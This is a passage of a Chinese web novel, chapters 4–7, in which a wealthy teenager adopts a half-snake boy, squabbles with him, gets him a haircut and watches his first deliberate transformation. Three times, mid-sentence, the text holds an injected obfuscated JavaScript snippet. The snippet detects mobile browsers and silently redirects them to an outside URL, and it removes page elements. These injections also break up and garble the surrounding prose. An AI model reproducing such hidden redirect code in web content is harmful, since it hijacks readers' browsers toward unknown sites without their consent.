可现在面对蔺雨洲,却像破土而出的新苗,直挺挺,坚韧朝向天空,不知从何而来的勇气替他浇灌出钢筋水泥般笔挺强硬的脊梁骨。 瞳孔收缩成针状,那张似人似蛇的面容浮现煞气和野性,蔺雨洲笑容情不自禁扩大,反倒惊喜水涟的回答。 他温情款款开口:“你说什么就是什么,都依你。” 又是那副有点恶心的“拿你没办法”表情。 水涟的后背满是冷汗。衣物湿漉漉贴在身上,他这才察觉手有点发麻。 他咽回体内响起的无数警报声,在恐惧的重压之下,若无其事评价蔺雨洲:“你好恶心。” 4. 第 4 章 水涟只能留在蔺家,他没有拒绝的余地。 他无处可去,生母无亲人,她逝世后,蔺洋家中唯一一块小阁楼也禁止他停留。 去孤儿院,他的尾巴就是件他根本无法处理的大问题。 他茫然地环视蔺家装潢典雅奢侈的餐厅,后知后觉才明白只有蔺雨洲能给他庇护。 多疑敏感的心思百转千回,落到面上也只是无表情。 蔺雨洲嗤笑两声:“比恶心我自愧不如,你照照镜子吧。” 水涟努力忍了忍,还是没忍住:“谁叫你把那么烫的粥塞我嘴里?” “我塞你嘴里?你讲话有点根据行吗,自己嘴巴凑过来。”蔺雨洲“呵”了声,像是听见什么笑话。 水涟讲话时有语句不通磕磕绊绊的情况,和蔺雨洲对骂时嘴皮子却突然灵活起来:“我让你喂了吗?” “那你开口拒绝我了?” “……” 对呛结束,两个人在餐厅又掐一架,桌头掐到桌尾,直到管家战战兢兢拄拐来劝,才鸣金收兵,坐长桌两头各自生闷气。 水涟梗着脖子不看蔺雨洲,格外犟,可顶了几分钟后,还是小心翼翼斜眼悄悄打量蔺雨洲的神情。 “丑死了。”蔺雨洲似乎是察觉出他的视线,挑眉瞪眼,撇撇嘴说了句,便拿着手机戳戳屏幕,不知道给谁发了消息。 水涟没照过镜子,根本不知道自己现在是什么形象,流浪小乞丐也好,外星人也罢,都轮不到蔺雨洲说他。 他从椅子上跳下来,想找个地方清净清净。 “去哪儿呢少爷?”蔺雨洲收起手机,朝他抬抬下巴。 水涟被他收养,虽然户籍不在一本上,那也是他蔺家的人,高低得叫声少爷了。 “不要这么叫我。”水涟拧过头,脸上是显而易见的不快,只差冒毒牙威胁。 蔺雨洲不明白他小小年纪哪来那么多愁思,脑子里想的比成年人还多,也不怕折了脑袋。 “坐这儿别动。”他懒得争辩,长腿一抬,横在水涟身前,直接拦住他的脚步,“等会儿有事。” 水涟绕一边,阴阳怪气:“碍你眼。” 牙尖嘴利,可见未来刻薄的雏形。 蔺雨洲“啧”了声,暗骂句“气性真大”。可他从小被捧到大,让他哄人是根本不可能的事,最后不耐烦道:“有事,过来坐着别动。” 他少爷脾气上来,语气加重,水涟果真没动。 只是站在原地,从脚到发梢都透着倔强两个字,背影笔直成一条,双手握拳垂在大腿两侧。 直到纤细的脖子逐渐往下弯,半点声响都没听见时,蔺雨洲才觉得不对劲。 他默默走到水涟跟前,蹲下凑到小孩面前看他:“哭啦?” 水涟死死咬住下唇,眼眶泛了一圈红,眼泪倒是不见踪影,自个儿杵着生闷气。 他嗓音哑得有些发闷:“没哭,你眼睛瞎了?” 蔺雨洲真想揍他。 然而也只能想想。他深吸两口气,最后抓抓头,语气很是别扭:“等会儿有人来给你剪头发。” 他这算是大姑娘上轿头一回,这辈子第一次说点对他而言是解释哄人的话。 水涟缓缓松开自己那倒霉的下唇,目瞪口呆看着蔺雨洲,情不自禁蹬蹬蹬后退三步。 蔺雨洲不爽:“你什么意思?” 水涟见鬼似的看他,仿佛在看神经病突然痊愈。蔺雨洲讲人话简直和狗嘴吐象牙一般震撼。 他费劲抬头瞧蔺雨洲,半信半疑他的说辞。 “我知道了。”沉默片刻后,水涟终于给了回应。 蔺雨洲正在念第二十次退一步海阔天空,听见他开口,险些要把先前念的二十次全部推翻。 — 造型团队来的时候,正赶上水涟和蔺雨洲勉为其难的和平相处时刻。两个人房间一人挑一角待着,水涟没有打发时间的东西,只能对天花板发呆。 他已经能预想到自己接下来在蔺家的日子有多痛苦了。 在蔺洋家中只不过是受些身体打击,言语羞辱。那些骂人的话水涟听多了,压根不放在心上。 忍一忍都能熬。 但是在蔺雨洲身边,完全是精神折磨,他才待一晚加一上午,就觉得自己被揠苗助长,不熟悉的蛇尾在狂奔中学会使用,磕磕绊绊的语言能力得到显著提升。 就是太累太累,身心俱疲的累。 他缩成一团,理发师替他处理那蓬草鸡窝形状的头发时,他竟然直接开始打瞌睡。 打瞌睡打到一半,他突然惊醒,睁大眼看镜子里的自己。 “你干嘛?”蔺雨洲站他旁边兴致勃勃,见他突如其来惊醒,十分不解。 水涟止住咳嗽才说:“因为你在旁边。” 他要是打瞌睡,万一在他不知道的时候理发师听从蔺雨洲的建议,给他剪了个恶意满满的发型呢? 暗紫色的眼睛里写满对蔺雨洲的怀疑。 心神俱疲之余还能忧虑到这个程度,蔺雨洲险些气笑:“你今年真的八岁?” 他不是没见过亲戚家的孩子。蔺家是个大家族,亲戚繁多,崽子也繁多,各个都精力旺盛活泼好动,言语间带着符合年龄的稚气,偶尔说句讨巧话装个小大人模样。 还有些闹腾霸道的,在他这个魔王面前也翻不出浪。 水涟全不似他们,没半点孩子样。 总不至于是因为蛇妖血统。 可就算是蛇妖,这化人都没多少年,哪来成熟心思供他装模作样? “做孩子有什么好?”水涟小声问。 对他而言,遥不可及的成人才应该期待。做孩子有什么好,长大才有力气保护自己,长大才能去做想做的事,长大才能不被一切掣肘。 他没得到做孩子的好,于是寄希望于做大人的好。 蔺雨洲也不知道有什么好的,他对水涟说:“没什么好,做大人吧。” 理发师拿着剪子,听一大一小莫名其妙开始讨论人生感悟,埋头给水涟剪头发。 “你觉得他适合什么就给他剪什么。”蔺雨洲翘着腿,漫不经心指挥理发师,说完看向水涟:“他比你专业,让他决定,我不插嘴,可以安心了吗?” 水涟放心些许。 理发师得了蔺大少爷吩咐,剪子挥舞得愈发小心。 他剪一点,就低头恭恭敬敬询问水涟的意见。 水涟是个小文盲,还是个没见过世面的小土包子,人家问,他也不敢随意发表看法,于是都说好,这也好,那也好,剪完头发吹干,摘掉理发围布后,他只想扇自己嘴巴。 “怎么是这样的?”他看镜子,难以置信问道。 蔺雨洲坐在一边乐不可支,笑声越来越张狂,断断续续说:“挺……哈哈哈……挺适合你的,震惊什么?” 水涟原先的头发不知道多久没剪过,又长又凌乱,理发师根据他的相貌,把毛糙的头发化腐朽为神奇,顺从地垂落,剪了个漂亮的妹妹头。 长度到下巴,很齐整。这样让他看起来格外乖巧,过大眼瞳嵌在苍白瘦削面孔上的不协调感都减淡不少。 水涟郁闷地盯着镜子里的自己,心想明明全剪光更合适。虽然讨厌蔺雨洲,但蔺雨洲的发型却合乎他的审美,他想剪蔺雨洲那样的。 可眼珠子一转,见到理发师局促紧张的模样,他又不想说了,只好勉强和人说谢谢。 为数不多的礼节都用上了。 剪了头发自然要换衣服,蔺雨洲是很想让水涟穿点奇装异服娱乐一下大家,到最后还是让人送来当季的童装,摆开让水涟自个儿挑。 水涟站在衣架前发懵,指尖轻轻触碰柔软的布料,挑不出来。 “得,别挑了,全留下吧。”蔺雨洲抱臂站他旁边,和佣人吩咐: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15274041|166660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “理个房间出来给他,阳光足一点,衣服全搬进去。” 水涟听他一路吩咐,心情也跟着大起大伏,最后拽住蔺雨洲衣角,别别扭扭道:“谢谢。” 这回轮到蔺雨洲震惊:“嚯,还会和我说谢谢呢?” 水涟面无表情盯着他,又说了一遍:“谢谢你。” “真不容易。”蔺雨洲啧啧称奇,“那叫声爹听听。” 水涟扭头就走。 他身上穿的还是蔺雨洲的卫衣,松松垮垮一条,在他身上和裙子似的。佣人带他去换了衣服,出来时造型模样和娇养的富家少爷没有区别。 只不过瘦弱的身材,沉郁的眉眼依旧暴露他此前生活不太美满的事实。 佣人大抵是猜出蔺雨洲的心思,给水涟挑的房间就在他的左侧,方便联络感情。 “少爷就在隔壁。”那佣人低声同水涟说。 水涟换了新衣服,站在阳光充裕的空旷房间,心里依旧空荡荡。 一切如梦似幻影。 空虚反入胃里,分明已经填饱肚子,微妙的饥饿感却像阴影般彻底缠在他身上。 他盯着地面的阴影许久,才重新开始动作。扭头发现佣人依旧站在原地,终于后知后觉明白那句“少爷就在隔壁”是什么意思。 “我去看看他。”水涟尽可能平静说。 佣人听到满意答案,安静退出房间。 水涟进蔺雨洲房间前礼貌敲敲门,得到某人拽得二五八万的回答,才拧动门把手进去。 蔺雨洲靠在床头,不知道在进行什么酣畅淋漓的骂战,手指戳屏幕戳到飞起,脸上神采飞扬。 水涟想他一定在骂人。 “站门口干嘛?”蔺雨洲收了手机,上下打量焕然一新的水涟,“不错,瞧着有人样了。” 水涟:“……” “看完了吗?”他站在原地没动,芦苇杆子似的直挺挺,显然准备当个人台给蔺雨洲看,看完就走人。 “急什么。“蔺雨洲手撑床铺跳下床,“你妈的东西我叫人全都送过来了。啧,还以为有多少,就一块玉吊坠。” 他从桌上拿来玉坠子递给水涟:“挂脖子上吧。” 水涟生母神秘得要命,她嫁给蔺洋,到身亡,竟然没留下多少属于自己的东西。除了随身戴着的玉坠,仿佛在刻意减少存于人间的痕迹。 “……什么都没有吗?”水涟抓着那枚玉坠,犹豫开口。蔺雨洲古怪地瞧他:“你妈留什么东西,你不知道吗?” 水涟诚实摇头:“她不喜欢我。” 蔺家的人工作效率高,大少爷前一晚吩咐查水涟和他生母的资料,方才就邮箱发到他手中。 不过也有资料实在好查简陋的缘故。 水涟的生母叫水倩,佘山人,高中学历,嫁给蔺洋前结过两次婚,两任丈夫都和水涟没亲缘关系,估摸是未婚先孕生的水涟,这也让水涟亲爹的身份彻底成谜。 蔺雨洲看了眼水倩的照片,是个格外貌美的女人,但在他看来,这份貌美和水涟的容貌却没有太贴近的地方。 她带着水涟嫁给蔺洋后,这份貌美让蔺洋沉迷了好一阵子,连带水涟也过上了段勉强能称上不错的好日子。只是她因为胰腺癌去世后,这点聊胜于无的好日子迅速被收回。 八岁的小孩,连书都没得读。 剩下的资料没多大用处,水涟身上的谜团一个都没得到解答,他随意看了眼就抛到脑后。 蔺雨洲也是头一次见到有户籍还活的和黑户没区别的家伙。 不过来源不清,未来却是一清二楚。 “我不管你以前如何,以后就是蔺家小少爷,给我记清楚了。”蔺雨洲轻描淡写开口,伸手拨弄水涟齐整的头发,就像拨动琴弦。 水涟紧握玉坠,将蔺雨洲给他定的新身份在舌尖转了一圈。 他知道自己永远不会是“蔺家小少爷”。 5. 第 5 章 蔺家是他无处可去的唯一选择。水涟因为蔺雨洲的一时兴起更改命运,却全然不认可蔺雨洲那番前路清晰的判语。 只是再不认可,如今他也不会说出口做反驳了。 有些话可以反呛抬杠,有些则不可以,做人一张嘴,最要紧是明白什么能说,什么不能说。水涟今年八岁,在说话这件事上已经吃够了苦头。 挨了痛打,就能敏锐明了。 他静静站在原地,任由蔺雨洲手抚过他精心打理后的头发,苍白冰冷的面颊,过大的眼瞳,精致的鼻唇,像尊乖巧听话的人偶。 蔺雨洲大抵是惊讶这小子突如其来的识时务,本想着换话题,只是嘴巴那股不讲贱话浑身不舒坦的劲儿又冒上来,正准备刺刺人。 水涟眉目寡淡如水望着他的眼睛,又让他打消了念头。 算了。蔺雨洲想,等下哭了又要我哄,我才懒得哄人。 他百无聊赖抛手机,没话找话:“杵那儿干嘛,我不让你坐了?” 水涟心里划了条线,闻言硬邦邦道:“你管我。” 装乖和真乖之间有十万八千里的差距,他懂分寸,剪了个乖巧妹妹头,也不妨碍他是个刺头,不服管教,扎人全是真的。 蔺雨洲浑身不舒坦被他一刺舒服了,觉得吵架才对味,猛地坐起身神经兮兮:“我都是你爹了,为什么不能管你?” 水涟骂他傻逼,字正腔圆,还是从他嘴里学的脏话。 偃旗息鼓休战不到半个小时后,水涟和蔺雨洲又在房间里打了起来。 扔枕头扔到气喘吁吁,蔺雨洲指着他训:“我明天就把你丢学校里,你个小文盲。” 水涟比他喘得还厉害,一张脸煞白:“你比我好哪里去,你也不上学,大文盲。” 蔺雨洲首次被他噎住,寻思这是真的。 他今年高一,上学上得稀松,三天打鱼两天晒网的,不是翘课就是课上睡觉,文盲程度估计和水涟不相上下。 俩文盲毫无营养对骂半天,骂累了,腹内空空去吃晚餐,下楼却刚巧撞上从公司回来的蔺河生。 蔺河生人高马大,水涟费劲力气仰头才看清那张严肃漠然的脸。 蔺雨洲本来还在和水涟拌嘴,见到他,没大没小喊:“哟,老头子。” 蔺河生垂眸,视线轻飘飘掠过水涟那张发懵的脸,不辨喜怒问蔺雨洲:“你要给我认儿子?” 蔺雨洲不满道:“什么叫给你认,是我暂时不能认。” 蔺河生只回了他一声嗤笑。 水涟那敏锐的感知系统又在发起警报,他拧拧眉,视线在父子俩之间来回打转。 “叫什么名字?”他的视线转到蔺河生身上时,蔺河生开口问他。 “水涟。”水涟低眉顺眼,乖乖巧巧回答。 蔺河生情不自禁蹙眉,过了会儿像是想到什么,脸色一沉,回过头对助理道:“晚点把他送走。” “送哪儿?”蔺雨洲手往后一拨,把水涟往身后藏,站在台阶上俯视他老子:“你想把他送哪儿?” 蔺河生面无表情,冷声道:“哪来的送哪儿去,蔺家不留他。” “我留他,和你有什么关系?”蔺雨洲半点不怵他,嗤笑道:“平时不管我,现在倒是要在我面前摆老子威风,管天管地管到我养谁头上,你自己心不心虚?” 他和蔺河生的关系实在不像外界说的父子和睦,火药四溅的,掺杂了仇人成分。 蔺河生深吸一口气,在外再怎么叱咤风云,回家面对青春期叛逆的熊孩子照样气到头痛。 他调动全身涵养,好悬才把那阵火气压下去,低声呵斥:“蔺雨洲,你是不是一天不找死就不舒服?” “我养个小孩就算找死,你养我岂不是早暴毙了?”蔺雨洲听了个莫名其妙的冷笑话,不阴不阳嘲讽蔺河生。 “你!” 蔺雨洲打量蔺河生再也维持不住好涵养的脸,忽地意识到什么,半眯起眼,猝不及防问道:“他身份有什么问题?” 蔺河生一哽。 水涟被蔺雨洲藏在身后,听父子吃火药似的吵架,一时间思绪又和飘萍般飘远。 他要回到蔺洋身边吗?还是去某个未知的地方? 无处可去的惊慌漫上头,他连是谁来处都无法定位,更别提去处,那要如何? 年纪尚幼,连自己都没法做主,只能听从四方言语,随波逐流。 水涟下意识抓住蔺雨洲的衣服下摆,飘远的思绪在听见蔺雨洲的问话后,猛地从他身后探出头,紧紧盯着蔺河生。 他的身世,尤其是种族,他和蔺雨洲两个讨论半天都没结果,难道蔺河生清楚? 水涟这双大眼睛盯人盯久了,被盯的那个总会瘆得慌,蔺河生和他对视没几秒,就起了身鸡皮疙瘩,石块堵喉咙心口似的,半天说不出话,脸色愈发难看。 “没有。”他冷硬道,但蔺雨洲没错过他一瞬变换的脸色,穷追不舍:“做事总要有理由,这话你可是你教我的,还不准我忘,轮到你自己倒想违背?” 蔺河生双唇张合,无数话语在唇边酝酿,最后像是被他身体里某种更强势的力量碾压下去,只化作生硬的“没有”。 蔺雨洲冷笑两声:“说不出来那你就别管了,你也别想着趁我不在送他走。你要真敢那么干,我保证你接下来没有安生日子过。” 这话仿佛是什么格外恐怖的威胁,配上水涟那双暗紫色的眼瞳,蔺河生整个人被钉死在原地,半晌才阴沉一张脸瞪蔺雨洲。 后者满不在乎地耸耸肩。 蔺河生双手紧握成拳,连续深呼吸几个来回,拼命忍住暴揍这糟心儿子的冲动,才恢复成平日古井无波的漠然状态。 他低头,视线再次落在水涟身上,然而这次的目光复杂悠长,远比先前那轻飘飘的一眼更加沉重。 “蔺雨洲,你总有一天要遭玩心太重的报应。”半晌后,蔺河生冷冷道,“你好自为之。” 吵架没吵过,还被儿子威胁,蔺河生回书房的背影都显得格外不满。 “报应不到你头上,少多嘴。”蔺雨洲回过头,对他散漫道。 方才剑拔弩张的气氛渐渐散去,水涟沉默地从他身后走出来,乌黑柔软的头发活像被吸了精气,瞬间就变得干燥粗糙,干瘪瘪盖在脑袋上。 他毕竟才八岁,再早慧成熟,也难免有掩不住心思,孩子气的一面。 蔺雨洲盖帽似的伸手盖他头顶,揉乱他的发型:“怕什么,你是我领回来的,轮不到他管。” 水涟默不作声,任由他在自己头上肆虐,脑袋跟着蔺雨洲手的节奏摇摆。 他其实不喜欢别人碰他,来自他人的温度让他格外不适,尤其还是蔺雨洲这个神经兮兮的家伙。 但水涟什么都没说。他第一次从他人的温度里感受到安心,甚至有些期待这份温度能多停留一会儿。 他像什么寻求安慰的小动物,抓着蔺雨洲的衣摆,轻轻依偎在他的腿边,很难得没有同蔺雨洲反呛。 也没有对不可知的身世提出疑问。 他们认识才不过二十四小时,却像共同经历了漫长岁月,下意识地亲近对方,寻求对方身上的温度。 大抵这便是常说的缘分。 “饿死了。”蔺雨洲向来没多少细腻的心思,能体察到水涟方才恐慌不安的感情已然是超常发挥。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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宝贝还是放自己身边安心。 蔺雨洲愉快地把水涟塞他被窝里,高高兴兴洗漱上床。 他平时不熬到两点不会睡,如今有个睡不安定的水涟,必须得关灯早睡。 蔺雨洲决定难得遵守一次健康作息。 不过大概是睡太早,他凌晨时感觉睡眠质量极限下降,有东西缠住他全身,简直是奔着勒死他去的。 蔺雨洲眉间紧皱,费劲心思痛苦挣扎,才从鬼压床般的睡眠里惊醒。 意识清醒后,他当是水涟睡觉不老实缠住他,伸手打开床头灯,准备摆正小孩的睡眠姿势。 今夜无雨,深夜格外宁静。灯光昏黄,映亮床头一方光景,蔺雨洲半眯着眼看向身侧,水涟压根不在。 “我草。” 他猛地一惊,把被子一掀,床铺没人,只有水涟的睡衣。他又探身看床下,没有。 “老头子疯——” 蔺雨洲还没骂完,熟悉的窒息感又冒出头,他缓缓低下脑袋,看见睡衣里鼓起一小团,一截黑色尾巴缠在他的脖子上。 “……” 蔺雨洲小心翼翼拎开衣领,一条黑色小蛇缠在他身上,睡得香甜安心。 “……” 蔺雨洲的喉结动了动,松开衣领,用力抹把脸,才把突然见到完整无腿爬行生物在自己身上的惊恐压下去。 他伸手,试图把水涟从怀里掏出来。掏到一半,又默默收回手,只是把缠住他脖子的那截尾巴摘下。 “……小混蛋。”蔺雨洲悻悻道。 6. 第 6 章 水涟早上醒的时候先打了个喷嚏。 被喷嚏震醒,他缓缓睁开眼睛,发现自己正躺在地板上,缩成一团,也没条被子,凄风苦雨的。 他默不作声爬起来,床上蔺雨洲那个牲口睡得四仰八叉,四肢海星似的舒展摊开,嚣张霸王,完全没给他留个能挤进去的缝隙。 水涟:“……” 房间内窗帘紧紧掩着,将光线阻隔在窗外,只有偶然一点光线从窗帘夹缝中逃窜而生,落在木制地板上,留下细细一道亮眼痕迹。 床头电子闹钟尽职尽责跳动,早上八点五十分。 水涟赤着脚,脚步啪嗒啪嗒,揉揉眼抓住窗帘一边,唰一声拉开,动作大开大合,活像在扇某个人大耳刮子。 蔺雨洲先是叫拉窗帘动静震响,又叫窗外透进来的刺目日光扎醒,躺床上愤怒哀嚎,成了只见不得光的吸血鬼:“一大早有病啊?” 水涟不知道自己什么时候被他踹下床的,全身骨头痛。他吸吸鼻子,逆光凑到床边,阳气十足,却鬼气森森开口:“我好冷。” 讲话带了点鼻音,还配合打了个哆嗦。 “你冷你盖被子,你掀窗帘干嘛?”蔺雨洲暴躁道。 “没有被子。”水涟面无表情说,“你把我踹地上了。” 蔺雨洲:“……” 他大手一挥,在床边摸索半天,才摸到水涟两只冰冷的手,偏冷的体温和他暖烘烘的掌心形成鲜明对比,把惊醒的他也冻了个哆嗦。 水涟碰到他的体温,再次吸吸鼻子,重申道:“冷。” “你冷那你叫我啊,这么折腾我。”蔺雨洲是个丧良心的,倒打一耙很有一套。 他怨声载道的,双臂却一展,把水涟抱到怀里,夹在他的胸膛和被窝之间,总算让水涟冷冰冰的身体回温。 “你睡得很死。”被抱着,水涟有些不好意思。但无奈实在冷,他便不在乎和蔺雨洲贴太近,在暖融融的天地里蜷缩成团。妹妹头睡得发梢四处横叉,大眼睛微微眯起,苍白的面颊也因升温多出几分血色。 这让他看起来终于有符合年龄的稚气,像个小孩了。 蔺雨洲屈尊降贵当个大号暖水袋,醒醒觉,打着哈欠道:“你昨天晚上变成蛇了。” 他语气散漫,准备睡回笼觉的水涟被惊醒,猛地扭头,额头撞上他的下巴,睁大眼急切问:“变蛇了?!” 蔺雨洲吃痛,绝望仰起头发出嘶嘶声,训斥水涟:“做事毛毛糙糙!能不能小心点!” “真变成蛇了吗?!” 水涟现下被这个问题占据全部心神,敷衍似的道了个歉,眼底充满震撼的求知欲。 蔺大少爷一大早遭罪,满肚子火气,捏住水涟干巴巴没点肉的面颊捏圆搓扁,这才降了火气,摸来手机给他看照片:“你自己看。” 他不知道存了什么心思,拍了十几张水涟蛇形的照片,一张比一张丑,全都是水涟把他当树杈子爬的样子。 奇丑无比。 水涟:“……” “你半人半蛇的时候那尾巴还挺粗,怎么变原型就那么大了?”蔺雨洲问他,“不会能变大变小吧?” 水涟盯着照片里缠在蔺雨洲身上的蛇,疑神疑鬼:“是不是你把我摆成那个样子的?” 蔺雨洲哕了一声:“不要脸。” 水涟没搭理他,短短十几个小时过去,他又学会了对待蔺雨洲的话左耳选择性进,进了的右耳选择性出等高级技能,并没有对这句话有什么反应。 只是低头注视照片沉思。 “我不知道很多东西。”良久后,他沉闷道。 就在蔺雨洲预备老生常谈,来点让他别想了的宽慰,就听见他的声音再次响起:“但我会熟悉的。” 蔺雨洲低下头,瞧见水涟头顶两个倔强的发旋被发丝半遮半掩。他伸手,指尖轻轻戳了戳发旋,觉得水涟本人也果然是个与发旋旗鼓相当的犟种。 水涟安静缩在他的怀中,刻意摒弃戳他头顶的力道。他慢慢闭上眼,感受双腿变成蛇尾的感觉,将这种感觉一点点蔓延至全身—— 视野逐渐收缩狭窄,全身的力量被某种来源无法追溯的压力团到一块,先是难以言明的痛苦,逼得他四肢发颤。 紧跟着剧烈的失重感骤然侵袭,再次睁开眼,他只看见了一片黑暗。 “嘶嘶——” 蛇信轻吐,水涟感觉到自己的身体被某只手捧了起来,蔺雨洲抓着他,眼底发光:“牛啊!这就会了?” 水涟在他手里和橡皮泥似的乱跳乱动,尾巴歘一下打在蔺雨洲手腕上。 “你能变大吗?你有妖力吗?”昨晚水涟在睡梦里猝不及防变蛇,蔺雨洲有再多问题都得不到答案。 如今水涟学会清醒变身,满肚子好奇再也掩饰不住,预备做只擅长发问的猫。 很快好奇心就害死了他,水涟挣扎片刻,紧紧缠住他的手腕。 水涟蛇形虽然纤细,绞人的力道可不是盖的,蔺雨洲抓住他的那只手腕很快就变得麻木,隐隐有失去感知的可能。 “松开松开。”蔺雨洲换了只手,往水涟吻部弹了个脑瓜崩,“能讲话吗?” “嘶嘶——”水涟吐吐蛇信,吐不出人言。 他有讲话的想法,只是身体仿佛被刻意压制,实在讲不了半点人话,只能用嘶嘶声表达不满。 蔺雨洲摸摸下巴:“我又不会蛇佬腔,变回来吧。” 水涟暗紫色的眼睛瞪得溜圆,整个蛇身的鳞片都炸了起来。 蛇变人的痛苦要远远大于人变蛇,他的身躯僵直,控制不住大张嘴,发出惊怖的嗬嗬音。 蔺雨洲叫他绝望痛苦的姿态震慑,猝然一惊,忙不迭换成双手捧着他,低声急促唤他姓名:“水涟,水涟!” 水涟听不清他的声音。他的脑袋里被无数光怪陆离的场景填满,山林旷野在无边虚无中被海浪推上,又在顷刻间被高门宅院推翻,尘土飞扬,鳞次栉比的商业高楼与川流不息的车海呼啸着碾压木质建筑,拔地而起。 灯海迅捷飘浮飞过,他的眼底映出无数个闪动的人影,最后定格在蔺雨洲紧张的面容之上。 强烈的撑涨感从身体内部炸开,他的全身开始急速扭曲变化,伴随喉中痛苦的嘶鸣—— 他从蛇重新变回人。 水涟满身冷汗窝在蔺雨洲的怀中,骨骼喀啦作响的情境似乎还遗留于空气里,叫人头皮发麻。 蔺雨洲抓着手机,已经按出医生电话。他拍拍水涟惨白的脸:“水涟,你还好吗?” 水涟双眼无聚焦,很久后才大喘气一声,用气声回应:“好的。” 单薄的身躯肋骨清晰可见,和两扇没肉的肋排似的护住他的胸腔。蔺雨洲手软掉了手机,摁回要跳出胸口的心脏:“你……你真的……” 要把他吓疯了。 后半句蔺雨洲没说出口,只是你了一半天。 水涟没力气,瞪眼睛看他:“什么?” 蔺雨洲嘴角抽抽,生硬道:“没有。” 他抱着水涟,手指控制不住发抖,忍了半天,对上水涟茫然无知的眼,才发出警告:“别变蛇了。” 水涟手还发软,摇摇头:“我要变。” “那么痛苦还变,图什么。”蔺雨洲作势轻拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15274043|166660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下他的额头当做教训,这对他们两个从相识到熟悉,见面就掐的家伙来讲,已经算是格外温情的举措了。 水涟不大满意,偏过头躲开,有些颠三倒四解释:“我觉得要变,很重要,如果不变可能会危险。” “有什么危险的?”蔺雨洲一挑眉,不理解水涟的话,索性独断专行:“我说不准就不准。” “不要。”水涟嗓音发哑,坚定拒绝,不撞南墙不回头的犟种样叫蔺雨洲抓狂,被逮着脸颊死命掐。 水涟不甘示弱,抓住蔺雨洲的头发就不松开。恢复点力气就开始闹,直到他发觉自己还没穿衣服。 他先前变成蛇甩掉了衣服,现下便赤条条,察觉此事,当即脸红了个底儿朝天。 蔺雨洲松开他的脸放肆大笑,直笑得水涟面红耳赤羞愧难当。他懒得同水涟争辩,笑完才勉强松口:“不到危机时刻别乱变,知道没?” 水涟打了个哆嗦:“我不傻。” “呵呵,你不傻。”蔺雨洲阴阳怪气学他语调,捡起他的衣服,辨认前后,粗暴地套到他头上给他穿衣服。 水涟手上表示抗拒,却也没有真的拒绝蔺雨洲给他穿衣服的动作,只是嘴巴上还要表示不满:“痛。” 蔺雨洲第一次体会到打扮娃娃的乐趣,饶有兴致但格外笨拙地把他胳膊从袖子里扯出来:“忍着。” 水涟在套衣服的间隙里,磕磕绊绊回答蔺雨洲的问题:“好像不能变大,感觉被压住了,一想就会很饿。” 蔺雨洲端起他,抓住裤沿往上拽:“很饿?你没吃饱饭?” 水涟跟着他的动作往上一弹,抓住他的头发当支撑:“嗯,很饿很饿。” “死小子,痛死了,松手!”蔺雨洲一掌轻拍在他的手背,双手穿过水涟的腋窝抱他坐下,给他套袜子:“那妖力呢?” 水涟故意又抓了他一把,才乖乖坐在他怀里:“那是什么?” 中二期还没过的蔺雨洲懒洋洋解释:“就是类似超能力的力量。” “超能力是什么?” “你哪来那么多问题。” “你问我那么多,我都回答了。” “我问你,你给我回答天经地义,你问我,我有不回答的权利。” 水涟扭头愤愤不平:“那我也有不回答的权利。” “你没有。”蔺雨洲捏了捏他的鼻尖,低声呵斥:“鞋子穿好去吃饭!” 水涟的脚在袜子里不自然地扭动,他低下头,像是发现了什么天大的错误,大声对蔺雨洲说:“袜子穿反了!” 脚上一双袜子,不仅里外反穿,甚至不是同一套的。蔺雨洲对打扮娃娃的兴趣直线下降:“劳驾您金贵的手调整好吗?才多久啊,就敢对我大呼小叫。” 水涟坐在床上给自己换袜子,默默降低音量:“我找不到另一只。” 中二少年蔺雨洲本来准备去洗漱,扭头又见他小可怜似的坐在那儿,受不了,一巴掌拍在他后脑勺:“抬抬你屁股——算了你爱嚷嚷就嚷嚷吧,要给你备喉片吗?” 水涟那小烟嗓,不知道是不是以前经历过什么,但蔺雨洲觉得这大喇叭估计是自己嚎出来的。 水涟得到指引总算把袜子成套正确穿好,跳下床跟在蔺雨洲身后:“不需要,谢谢。” 礼貌用语的大进步显然震惊到蔺雨洲,他比了个大拇指,抓抓头发对水涟道:“下午和我去学校。” “什么意思?” “意思就是你这个文盲要开始上学了,笨。”蔺雨洲满嘴牙膏沫子,含混道。 水涟偷瞄镜子学他动作刷牙,呆呆点点头:“哦。” 7. 第 7 章 蔺家的人办事利索,水涟的学籍和学校全确认了。 蔺大少爷读的令大附中高中部,水涟跟着他,读令大附小,两校区甚至就隔了条街,十分方便。 水涟第一天去学校很重要,这也让翘课多日的某个混球愿意套上校服,背个干瘪的包去附中了。 “水涟你慢死了,等会儿迟到我不管你。”蔺雨洲不耐烦看表,朝水涟房间里探头探脑,“你在干嘛?” 水涟抓着水倩留给他的玉坠子,拿不准要不要戴在脖子上。 蔺雨洲催魂的鬼叫又响起来,他垂眸,想起水倩阴沉刻薄的面容,掩去眼底难以捉摸的愁思,拉开床头柜把玉坠子放了进去。 